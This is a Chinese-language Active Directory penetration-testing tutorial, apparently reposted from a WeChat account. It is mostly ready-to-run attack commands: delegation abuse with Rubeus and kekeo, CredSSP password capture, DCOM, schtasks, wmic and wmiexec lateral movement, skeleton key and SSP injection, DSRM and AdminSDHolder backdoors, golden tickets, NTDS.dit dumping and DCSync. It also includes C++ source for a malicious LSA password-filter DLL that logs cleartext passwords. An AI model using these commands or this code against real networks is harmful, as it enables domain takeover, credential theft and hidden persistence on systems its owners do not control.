tgt::ask /user:xx /domain:xx /password:xx /ticket:test.kirbi這里的/password可以改成/NTLM:xx
獲得TGT轉發票據
tgs::s4u /tgt:file_name /user:administrator /service:cifs/DC
tgt處改為剛剛得到的TGT文件的名字,這個命令執行后得到administrator身份的 ST2
把最后獲得的票據用mimikatz kerberos::ptt 注入內存,完事。
refer:https://xz.aliyun.com/t/7454
1.S4U2SELF 協議可以在用戶沒有配置 TrustedToAuthenticationForDelegation 屬性(即開啟使用任何協議認證的約束性委派)時被調用,但是返回的ST是不可被轉發的。
2.基于資源的約束性委派主機 在被另一臺主機委派訪問時,在S4U2PROXY過程中提交過來的ST如果即使是不可轉發的。KDC依舊會返回有效的ST2。
3.每個普通域用戶默認可以創建至多十個機器賬戶( 由MachineAccountQuota屬性決定 ),每個機器賬戶被創建時都會自動注冊SPN: RestrictedKrbHost/domain和HOST/domain這兩個SPN
假設開啟基于資源的約束性委派機器為A
1.首先要有一個對當前計算機有寫權限的賬戶,才能對A設置可以 被 委派訪問的服務賬戶。
2.利用當前賬戶創建一個機器賬戶,并配置好機器賬戶到A的 基于資源的約束性委派
3.因為機器賬戶是我們創建的,我們知道他的密碼賬戶,可以讓它利用S4U2SELF協議獲得一個不可轉發ST。然后用這個不可轉發ST通過S4U2PROXY,在基于資源的約束性委派基礎上獲得有效的訪問A cifs服務的ST2。
4.用ST2訪問A的CIFS服務,權限獲得。
這個攻擊說白了就是個提權…
首先我們檢查一下域控是否是win2012以上的主機,因為只有這樣才能開啟 基于資源的約束性委派。
我們使用powersploit下的powerview腳本。執行命令 get-netdomaincontroller
可以獲得域控WIN版本
然后我們查看當前用戶對哪臺主機有寫權限。因為是實驗,所以我們先來看看怎么配置一個用戶對一個機器的權限。
直接在域控上找到某主機,然后進入在屬性里進入安全選項卡,添加某用戶,然后給這個用戶分配權限即可。
我們依舊使用powerview。先調用
Get-DomainUser -Identity username -Properties objectsid來獲取當前用戶SID
然后Get-DomainObjectAcl -Identity 主機名 | ?{$_.SecurityIdentifier -match "剛剛得到的SID"} 查看當前用戶對某臺主機是否有寫權限。
如果有 GenericAll(完全控制權),GenericWrite、WriteProperty、WriteDacl 這些屬性,就說明該用戶能修改計算機的賬戶屬性。
如圖看到我們對WIN7進行操作
好的,我們接下來就要創立一個機器用戶了。根據網上搜索結果,使用powermad這個ps腳本可以很快捷的創建一個機器用戶。https://github.com/Kevin-Robertson/Powermad
Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)
好的,我們添加了一個密碼hack,名為hacksystem的機器賬戶,接下來就是配置hacksystem到WIN7的委派了。我們需要做的,是修改WIN7的 msDS-AllowedToActOnBehalfOfOtherIdentity屬性的值 ,這個操作我們用powerview實現。
$SD=New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"
#這兒的sid是我們創建的#機器用戶#evilsystem的sid
$SDBytes=New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
至于機器賬戶SID怎么獲得,powerview下的 get-domiancomputer hacksystem
然后使用Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity 查看委派是否設置成功
Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose 此命令可以清除 msds-allowedtoactonbehalfofotheridentity屬性的值
現在都統統設置好了,開始下一步吧。
網上一般用的rubeus,這里我用kekeo吧
Rubeus.exe hash /user:xxx /password:xxx /domain:xxx
本地運算出機器用戶ntlm hash 這里借用一下別人的圖
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt 寫入票據
然后我在本機使用以上方法后klist一下,發現確實存在票據
但是dir \test1\c$時本機莫名其妙不能進行kerberos驗證,我服了》。。但不管怎樣,我們拿到銀票了
若我們的administrator用戶被設置為敏感用戶不可委派或者被加入保護組,按理說他的訪問就不能進行委派。
我們在以administrator賬戶身份進行S4U時,只能進行S4U2SELF,不能進行S4U2PROXY。我們用 Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt繼續實驗administrator,發現確實是這樣
此時我們用 rubeus.exe describe /ticker:S4Ubase64加密的票據
可以發現servicename并沒有指定某個服務,僅僅只有一個賬戶.即發生了服務名稱缺失的問題。很簡單,把票據修改一下就行了.網上很多說用這個工具
https://www.pkisolutions.com/tools/asn1editor/
但實際上rubeus也能完成票據修改rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt
完事
CredSSP協議的目的是將用戶的明文密碼從CredSSP客戶端委派給CredSSP服務器。通常運用于遠程桌面服務。
我們在配置這個協議時,一般在組策略編輯器里配置。
Allow delegating default credentials表示在通過使用受信任的X509證書或Kerberos實現服務器身份驗證時自動發送當前用戶的憑據,即明文密碼。
Allow delegating default credentials with NTLM-only server authentication表示在通過NTLM實現服務器身份驗證時自動發送當前用戶的憑據,即明文密碼。
這幾個屬性在注冊表里對應 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation。
那么這樣看,這個攻擊流程就很自然了。
我們要獲得兩臺機器,一臺機器當作遠程桌面的服務器,一臺當作遠程桌面的客戶端。
在客戶端上配置組策略(CREDSSP),使其在遠程桌面身份驗證時發送明文密碼。
然后開始遠程桌面驗證,在服務器上獲得客戶端發來的明文密碼.
1.通過修改注冊表,改變組策略身份驗證的憑據策略(選一個),這一步需要管理員權限,本地或域管一股腦設置好就完事了。。(用戶需重新登陸才生效)
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *
然后開始獲取密碼
我們剛剛提到需要兩臺電腦才能獲取密碼,其實那只是一個模型,一個機器既可以當作客戶端又可以當作服務端的。
我們用kekeo實現攻擊(本機向本機獲取密碼時,普通用戶即可完成以下操作)
tsssp::server 開啟服務端
tsssp::client /target:... 開啟客戶端,這里的target隨便填
那么再回到需要兩個機器,一個當服務端一個當客戶端的情況吧。
服務端建立: tsssp::server 需要SYSTEM權限
客戶端鏈接: tsssp::client /target:服務端的SPN(一般采用TERMSRV服務) /pipe: \服務端域名\pipe\kekeo_tsssp_endpoint 普通用戶權限即可
若一個機器上有多個用戶登錄,則在任務管理器可以看見如下場面
其中,我們可以右鍵其他用戶選擇鏈接,輸入其密碼后就能進入其桌面
但是對于system用戶來說,要鏈接到其他用戶是不需要輸入密碼的,可以直接連接。所以我們可以通過system權限獲取登錄在當前機器上的域用戶權限。
比如上圖中的administrator是域管,我有當前機器的system權限,那么我可以直接用以下命令完成用戶權限獲得。
query user 獲得administrator用戶的id
可以發現admin的id是2,那么我們就可以用tscon這個windows自帶的命令行工具完成權限獲得。
cmd /k tscon 2 /dest:console
執行以上命令,我們跳轉到了admin的桌面
參考:https://www.freebuf.com/articles/network/256372.html
DCOM是COM的擴展,允許應用程序實例化和訪問遠程計算機上的COM對象。
這里簡要說一下幾個有關COM的概念
CLSID:又叫CLASSID 一個COM類的唯一標識符,每一個Windows注冊類與一個CLSID相關聯。長得像這樣 {20D04FE0-3AEA-1069-A2D8-08002B30309D}
ProgID:其可被用作對用戶更友好的替代的一個CLSID,比如MMC20.APPLICATION.1就是一個ProgID。ProgID不能保證是唯一的,并非每個類都與ProgID相關聯
Appid: 為了保證COM對象能被順利的遠程調用(即為了使DCOM可訪問COM對象),需要把APPID與該類的CLSID相關聯,且AppID需設置權限來規劃哪些客戶端能夠訪問
我們可以通過powershell執行get-CimInstance 來列出本地COM程序列表
遠程DCOM對象實例化的流程:
客戶端從遠程計算機請求實例化由CLSID表示的對象。如果客戶端使用ProgID則先將其本地解析為CLSID。
遠程計算機檢查是否存在由該CLSID所關聯的AppID,并驗證客戶端的權限。
DCOMLaunch服務將創建所請求的類的實例,通常是通過運行LocalServer32子項的可執行文件,或者通過創建DllHost進程來承載InProcServer32子項引用的dll。
客戶端應用程序和服務器進程間建立通信,客戶端便可以訪問新創建的對象。
中文名為:Microsoft管理控制臺(MMC)2.0包括腳本對象模型。我們一步步抽絲剝繭跟蹤一下這個對象的利用點,需要注意的一點是調用該對象必須要有管理員權限。
如上圖,我們先列出在MMC20.APPLICATION中的模塊,然后繼續列出其中Document中的屬性,再繼續列出Document.ActiveView中的屬性。可以發現一個名為ExecuteShellCommand的方法,光是聽名字就知道是可以執行shell命令的方法了。到微軟文檔查一查這個方法,獲得了以下信息。
ExecuteShellCommand([命令][目錄][叁數][窗口狀態])
命令
一個值,指定要執行的命令。可以指定標準路徑。Command中包含的所有環境變量(例如“%windir%”)都將被擴展。
目錄
一個值,用于指定工作目錄的名稱。Directory中包含的所有環境變量都將被擴展。如果“目錄”為空字符串,則將當前目錄用作工作目錄。
參數
一個指定Command要使用的參數(如果有)的值;參數必須用空格分隔。例如,將參數指定為“ Param1 Param2”會導致Command接收Param1和Param2作為參數。如果要求單個參數用雙引號引起來,請使用適合您的編程語言的技術。例如,在Microsoft Visual Basic中,將參數指定為“ Param1”“這是Param2”“”導致命令接收到參數1和“這是Param2”。
窗口狀態
一個指定窗口狀態的值。該值可以是以下字符串值之一,也可以是空字符串。如果為空字符串,則默認為“已恢復”。
“Maximized”
該命令在最大化的窗口中執行。
“Minimized”
該命令在最小化的窗口中執行。
“Restored”
該命令在已恢復或正常的窗口中執行。注意:這里會彈個黑框框
返回值
此方法不返回值。
于是乎,我們就能理所應當的想到這個東西可以被用于本地任意命令執行,就像這樣
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
我們進一步發掘其橫向移動的能力
我們知道DCOM具有通過網絡與對象進行交互的能力,在我們是管理員的前提下我們可以使用GetTypeFromProgID()與powershell進行DCOM遠程交互。
GetTypeFromProgID(“COM”,”遠程ip”) 即可指定與哪一個遠程IP進行交互。所以我們可以把payload改造成這樣,進而可以在其他機器上進行任意命令執行,從而達到橫向移動的目的
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,“遠程ip”)).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
IPC$是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,即能建立鏈接,達到訪問遠程計算機的目的。ipc共享連接成功后一般能共享所有共享盤符。(也就是IPC連接后可以遠程共享C$,D$等)
利用這個鏈接不僅可以訪問目標機器中的文件,進行上傳下載等操作,還能在目標機器上執行部分命令。
net use \ip\ipc$ "password" /user:username
如果賬戶和口令正確,就建立好了鏈接。
建立好鏈接后就能執行以下命令
dir \\192.168.183.130\c$ 列出C盤
copy C:\Users\douser\Desktop\whoami.txt \\192.168.183.130\c$ 上傳文件
tasklist /S 192.168.183.130 /U administrator /P liu78963 列出某IP上的進程信息,/U指定哪個用戶執行該命令,/p指定該用戶密碼
net use \\IP /del /y 刪除鏈接
net use 查看已建立的ipc鏈接
利用ipc橫向移動
at \\192.168.183.130 17:05:00 cmd.exe /c "<命令>"
at \\192.168.183.130 17:05:00 powershell.exe -c "<命令>"
計劃任務執行后需要刪除,不留痕跡
at \192.168.183.130 1 /delete //1為任務的ID
關于此方法我們可以先通過copy上傳惡意文件然后通過at來執行它,或者直接通過powershell遠程加載上線等
at命令已經被Windows Vista、Windows Server 2008及之后版本的操作系統廢棄了,取而代之的是schtasks命令。
橫向移動的大致思路與at差不多。
在目標主機上創建一個名稱為“backdoor”的計劃任務。該計劃任務每分鐘啟動一次,啟動程序為我們之前到C盤下的shell.exe,啟動權限為system。
schtasks /create /s 192.168.183.130 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
但也有些時候,由于當前權限或組策略設置等原因,該schtasks方法遠程創建計劃任務可能會報錯拒絕訪問,遇到這種情況,我們可以加上/u和/p參數分別設置高權限用戶名和密碼
schtasks /create /s 192.168.183.130 /u username /p password /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
另外,在我們創建好計劃任務后,可以通過下列指令立即讓計劃任務執行(如果拒絕訪問的話就加上/u /p參數)
schtasks /run /s 192.168.183.130 /i /tn backdoor // i:忽略任何限制立即運行任務
計劃任務執行后需要清理痕跡
schtasks /delete /s 192.168.183.130 /tn "backdoor" /f
這個命令可以操控服務。
sc \\[主機名/IP] create [servicename] binpath="[path]" #創建服務,其中binpath可以是某個exe文件的路徑,也可以是一段指令。當為路徑時,服務啟動時會自動執行該exe文件,當為指令時,服務啟動時會自動執行該指令
sc \\[host] start [servicename] 啟動某個服務
sc \\[host] delete [servicename] #刪除服務
wmi
從Windows 98開始,Windows操作系統都支持WMI。WMI是由一系列工具集組成的,可以通過/node選項使用端口135上的遠程過程調用(RPC)進行通信以進行遠程訪問,它允許系統管理員遠程執行自動化管理任務,例如遠程啟動服務或執行命令。并且wimc執行命令時不會留下日志信息。
通過wmic在遠程主機上開啟進程
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "command"
wmiexec
通過wmic創建遠程進程時,不會有回顯,需要通過ipc$鏈接type,重定向等手段才能看到回顯結果,就很不方便,wmicexec的出現就很好的解決了這一痛點。具體原理是通過wmic在135端口進行交互,再把內容通過445端口傳回來。
wmiexec普遍來說有三種版本.py,exe,.vbs。可以走socks5協議代入內網,杜絕了bypassav的麻煩。
(exe版本網上似乎很不好找) 這里用python版本,下載鏈接https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_22, impacket按照網上安裝來弄就行了
1.環境linux,我們配置好proxychanis代入內網(略
2.proxychains wmiexec.py 域名/用戶名:密碼@ip 獲得shell
3.也可以進行hash傳遞 python wmiexec.py -hashes LM Hash:NT Hash 域名/用戶名@目標IP
效果圖
winRm(微軟遠程管理)是WS-Management協議的實現組件。WinRM是windows操作系統的一部分。是一項允許管理員在系統上遠程執行管理任務的服務。通信通過HTTP(5985)或HTTPS SOAP(5986)執行,默認情況下支持Kerberos和NTLM身份驗證以及基本身份驗證。你需要管理員身份才能使用它。
適用版本:適用于 Win server 2008 / Win7 及以后的系統,但是 Win server 2008 / PC 全版本系統默認關閉。只有在Win server 2012 之后的版本的WinRM服務才默認啟動并監聽了5985端口,允許遠程任意主機來管理。
我們可以通過如下powershell命令查看機器上的winrm是否正常運行
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
若沒開啟,你可以在管理員權限下執行以下指令開啟
winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami
遠程命令執行
winrs -r:192.168.86.114 -u:192.168.86.114\administrator -p:123456!@#$% whoami
利用組策略
假設域管想通過組策略來修改用戶密碼,如果他不使用GPP,那么他只有通過GPO配合腳本下發的方式來修改用戶密碼。
這種腳本可能會長得像這樣
strComputer="."
Set objUser=GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "123QWEQWE!@#"
objUser.SetInfo
保存這個腳本為cpass.vbs,這個腳本的作用就是修改本地管理員賬戶的密碼為
123QWEQWE!@#
然后通過GPO下發此腳本,該腳本就會被保存于SYSVOL文件夾中。
又因為域中任何用戶都可以讀取SYSVOL文件夾中內容,所以我們指不定就會翻到這種暴露明文密碼的腳本。
for /r \\dc/sysvol %i in (*.vbs) do @echo %i
for /r \\dc/sysvol %i in (*.bat) do @echo %i
批量密碼
域管可能會用組策略批量修改域中用戶密碼(特別是本地管理員)。所以拿到一個本地管理員密碼后不妨試試密碼復用,指不定就有驚喜
原理:當用戶修改密碼時會輸入明文密碼,LSA會調用PasswordChangeNotify 在系統中同步密碼。我們HOOK這個函數,改變其行為,就能達到獲取用戶修改后的密碼的明文.
Tool: Powersploit下的Invoke-ReflectivePEInjection.ps1 (用于注入)
https://github.com/PowerShellMafia/PowerSploit
以及 https://github.com/clymb3r/Misc-Windows-Hacking 的HookPasswordChange.dll(需自行編譯)
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
執行如上命令,只要修改了用戶的密碼,修改后的明文密碼就會記錄在 C:\Windows\Temp\passwords.txt 文件中。
下面我們分析一下原理
當密碼改變請求發生時,LSA會調用Password Filters。每一個password filter會先驗證新密碼的合法性和復雜度,然后LSA會發出請求已更改的信號。
該過程由 password notification DLL 完成。所以我們只需要劫持這個DLL,把它換成我們自定義的DLL即可達到目的。
這種方式一般在Server服務器上利用率較高
通常來說,這個dll文件的在注冊表中的路徑是 hklm\system\currentcontrolset\control\lsa的 notification packages表項。
我們要利用該方法,首先要確保密碼策略已啟用
至于命令行怎么修改。可以這樣
secedit /export /cfg gp.inf /quiet 將組策略導出為文件
在該文件里將PasswordComplexity項值修改為1
然后用secedit /configure /db gp.sdb /cfg gp.inf /quiet 將其導入數據庫
刷新組策略:gpupdate/force
重啟后生效
下面我們構造dll文件去覆蓋它。
首先我們的dll文件內容如下。
#include<Windows.h>
#include<NTSecAPI.h>
#include <fstream>
extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify() {
OutputDebugString(L"InitializeChangeNotify");
return TRUE;
}
extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
PUNICODE_STRING AccountName,
PUNICODE_STRING FullName,
PUNICODE_STRING Password,
BOOLEAN SetOperation)
{
OutputDebugString(L"PasswordFilter");
return TRUE;
}
extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordChangeNotify(
PUNICODE_STRING UserName,
ULONG RelativeId,
PUNICODE_STRING NewPassword)
{
FILE *pFile;
fopen_s(&pFile, "C:\\logFile.txt", "a+");
fprintf(pFile, "%ws:%ws", UserName->Buffer, NewPassword->Buffer);
return 0;
}
然后把這個dll文件放入system32文件,然后修改注冊表,使 hklm\system\currentcontrolset\control\lsa的 notification packages表項包括我們的惡意dll文件,具體命令行操作如下
REG ADD "HKLMSYSTEMCurrentControlSetControlLsa" /v "Notification Packages" /t REG_MULTI_SZ /d "evildll" /f
重啟后生效。無奈的是我把dll文件寫出來了且確保是正確的,在win7和win2012上復現均失敗,網上成功的例子是win2008server,可惜我并沒有這個版本的虛擬機不過原理倒是懂了
運用mimkatz可以在域控機上對所有用戶添加一個統一密碼用來登錄.
mimikatz# privilege::debug
mimikatz# misc::skeleton
然后所有用戶都能用密碼 mimiaktz登陸了
ssp:一個DLL文件,用來實現Windows身份驗證功能,比如kerberos,ntlm。系統啟動時SSP會被自動加載入lsass.exe
sspi:SSP的API接口
如果我們自定義個惡意dll文件讓他在系統啟動時自動加載到lsass.exe,就能得到進程中的明文密碼
臨時性注入(重啟便失效)
mimikatz# privilege::debug
mimiaktz# misc::memssp
執行如上命令, 然后只要目標機器不重啟,在目標機器上登錄的用戶名和密碼將會被記錄在 C:\Windows\System32\mimilsa.log 文件中。
長期性注入(重啟不失效)
把 mimikatz中的mimilib.dll放到系統的C:\Windows\System32\ 目錄下,并將 mimilib.dll 添加到注冊表中,使用這種方法,即使系統重啟,也不會影響持久化效果。
修改注冊表 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 項,加載新的DLL文件
用戶在登錄時輸入的賬號密碼將會被記錄在 C:\Windows\System32\kiwissp.log
sid history:當我們把域A的用戶x遷移到域B時,B域中x的sid會發生改變,隨即而來的是權限也會發生改變。所以為了避免這種權限改變,sid history誕生了, 系統會將其原來的SID添加到遷移后用戶的SID History屬性中,使遷移后的用戶保持原有權限、能夠訪問其原來可以訪問的資源 。
在域控上
privilege::debug
sid::patch
sid::add /sam:const27 /new:administrator 將administrator的SID添加到const27的sid history屬性
然后可以在域控上驗證其sid history是否更改成功
Import-Module activedirectory
Get-ADUser const27 -Properties sidhistory
可以發現現在是有SIDHistory屬性了。而且末尾的500預示著ADMIN權限
DSRM賬號:每個域控上都有一個本地管理員賬戶也就是DSRM賬戶,用于在域環境出現故障時本地登錄進行修復.可以利用這個賬戶進行持久化操作。( 如果域控制器的系統版本為Windows Server 2003,則不能使用該方法進行持久化操作。)
我們先設置DSRM密碼
域控上輸入ntdsutil
然后輸入reset password on server null
然后鍵入密碼,最后按q退出即可
在mimikatz中dump本地hash可以看到多出來個Administrator
然后設置DSRM登陸方式
DSRM登陸方式有三種分別對應123.
我們需要將他改成2才行。powershell執行
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
即可.然后直接psexec登錄(這里用的是cs)
注意填Realm時要填上面dump出sam時的域名(這里是DC)
這個很簡單,利用約束性委派或者基于資源的約束性委派攻擊得到的ST2保存起來,或者非約束性委派得到的TGT,要用的時候加載進內存就行了
#提權
privilege::debug
#生成黃金票據并導入
kerberos::golden /user:administrator /domain:const.com /sid:當前用戶sid去掉最后一個數據 /krbtgt:krbtgt的hash /ptt
AdminSDHolder是一個特殊容器,用作受保護用戶或組的ACM模板。AD定期把 AdminSDHolder對象的ACL 應用到所有受保護用戶或組上,防止其被有意或故意修改。如果能夠修改AdminSDHolder對象的ACL,那么修改的權限將自動應用于所有受保護的AD賬戶和組,這可以作為一個域環境權限維持的方法 。
如何尋找受保護用戶或組:
受保護用戶或組的 AdminCount屬性為1 。但是,如果對象已移出受保護組,其AdminCount屬性仍為1,也就是說,有可能獲得曾經是受保護組的帳戶和組 。
使用powerview.ps1Get-NetUser -AdminCount即可獲得受保護用戶
Get-NetGroup -AdminCount即可獲得受保護組
如何修改ADMINSDHOLDER的ACL
域管執行以下命令(powerview.ps1)
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=CONST,DC=COM" -PrincipalIdentity xx -Verbose -Rights ALL
給AdminSDHoloder添加一條ACL,讓xx用戶獲得完全控制權
然后默認等60分鐘,待ADMINSDHOLDER生效后,xx就獲得所有受保護對象的完全控制權了
“Ntds.dit文件是域環境中域控上會有的一個二進制文件,是主要的活動目錄數據庫,其文件路徑為域控的 %SystemRoot%\ntds\ntds.dit,活動目錄始終會訪問這個文件,所以文件禁止被讀取。Ntds.dit包括但不限于有關域用戶、組和組成員身份和憑據信息、GPP等信息。它包括域中所有用戶的密碼哈希值,為了進一步保護密碼哈希值,使用存儲在SYSTEM注冊表配置單元中的密鑰對這些哈希值進行加密。”——FREEBUF.whoami《內網滲透測試:從NTDS.dit獲取域散列值》
插個題外話:非域的工作組主機其密碼等信息存儲在SAM中。
我們獲取了域控后一般第一步便是導出Ntds.dit中的信息,怎么導出呢?
VSS全稱為Volume Shadow Copy Service,卷影拷貝服務,屬于快照技術的一種,主要用于備份和恢復,即使文件處于被鎖定狀態。
其獲取NTDS.DIT的基本步驟為:
創建目標主機所有文件的卷影拷貝。
在創建的卷影拷貝中復制出NTDS.DIT。
刪除卷影拷貝。
vssadmin是windows上一個命令行卷影拷貝服務管理工具。其適用于:Windows 10,Windows 8.1,Windows Server 2016,Windows Server 2012 R2,Windows Server 2012,Windows Server 2008 R2,Windows Server 2008
其導出NTDS.DIT的方法如下
創建一個C盤的卷影拷貝
vssadmin create shadow /for=c:
然后將卷影中的ntds.dit復制出來
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit
然后刪除卷影
vssadmin delete shadows /for=c: /quiet
Ntdsutil.exe 是一個為 Active Directory 提供管理設施的命令行工具,該工具被默認安裝在了域控制器上,可以在域控上直接操作,也可以通過域內機器在域控上遠程操作,但是需要管理員權限。
為WINDOWS上所有文件創建快照
ntdsutil snapshot "activate instance ntds" create quit quit
我們得到了個快照的ID,接下來我們就需要加載這個卷影到我們的磁盤中
ntdsutil snapshot "mount {bdccff3c-810c-4f78-9d80-c6729910e83a}" quit quit
執行后就會發現這個快照加載到了C盤下(這里dir看到的NTDS.DIT與本次實驗無關,是上次實驗殘留下來沒刪的)
然后將ntds.dit復制出來
copy c:$SNAP_202107291703_VOLUMEC$\Windows\NTDS\ntds.dit c:\ntds.dit
然后刪除快照
ntdsutil snapshot "mount {bdccff3c-810c-4f78-9d80-c6729910e83a}" "delete {bdccff3c-810c-4f78-9d80-c6729910e83a}" quit quit
同時,NTDSUTIL還有一個更加便捷的導出ntds.dit的方法:通過IFM
IFM中文叫媒體安裝集,在我們通過NTDSUTIL來創建媒體安裝集時,會自動進行生成快照、加載、將ntds.dit、計算機的SAM和SYSTEM文件復制到目標文件夾中等操作,需管理員權限。
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
然后在C:\test\Active Directory\ntds.dit,就是NTDS.DIT,我們復制出來就行了。
然后再把test文件夾刪除即可。
在提取NTDS.DIT后,我們需要再提取一個文件system.hive,因為system.hive中存放著NTDS.DIT的密鑰,有了它我們才能解析NTDS.DIT。
可以用剛剛提到的VSS方法獲取,也可以直接用以下命令從注冊表中拉取.
python .\secretsdump.py -system .\system.hive -ntds .\ntds.dit local
impacket框架集成了許多好玩的東西,他其中的secretdump.py腳本實現了解析ntds.dit的功能
直接再impacket的example下
python .\secretsdump.py -system .\system.hive -ntds .\ntds.dit local
“DCSync是Mimikatz在2015年添加的一個功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同編寫,其能夠利用卷影拷貝服務直接讀取ndts.dit并導出域內所有用戶的哈希值。需要管理員權限。”
這個東西 可以實現不登錄到域控而獲取域控上的數據
獲得以下權限就可以使用了
然后在mimikatz里
privilege::debug
lsadump::dcsync /user:xxxx /domain:xxxxx /csv 即可
想獲取全部hash也可以lsadump::dcsync /domain:xxx.com /all /csv
然后我們就可以通過krbtgt hash制作黃金票據登錄administrator。
如果還想隱蔽一點,可以給普通用戶添加如下ACE,使其獲得dcsync權限
可以以管理員權限運行powerview.ps1完成以上操作
#給域用戶hack添加以上三條ACE
Add-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose
#給域用戶hack刪除以上三條ACE
Remove-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose
然后普通用戶也可以用mimikatz調用dcsync導出hash了
mimikatz免殺過不去的話可以試試這個https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -DumpForest | ft -wrap -autosize // 導出域內所有用戶的hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize // 導出域內administrator賬戶的hash
我這里WIN10域控打不通,不知道為啥
前提:一個exchange高權限組的用戶控制權,一個機器賬戶
exchange安裝后會在AD上生成兩個容器
其中exchange windows permissions組的用戶擁有writeDACL權限, Exchange Trusted Subsystem 是 Exchange Windows Permission 的成員,能繼承writedacl權限,有這個權限后就能使用dcsync導出所有用戶hash。
其中exchange trusted subsystem組甚至可能有繼承自administrators組的權限。
假設我們已經拿到了exchange trusted subsystem中一個用戶的控制權。
那么就可用dysync進行權限維持了
版權申明:內容來源網絡,版權歸原創者所有。除非無法確認,都會標明作者及出處,如有侵權,煩請告知,我們會立即刪除并致歉!
程序員阿甘程序員阿甘,我們每個程序員都是奔跑的阿甘,只要持續努力就能成功!151篇原創內容
公眾號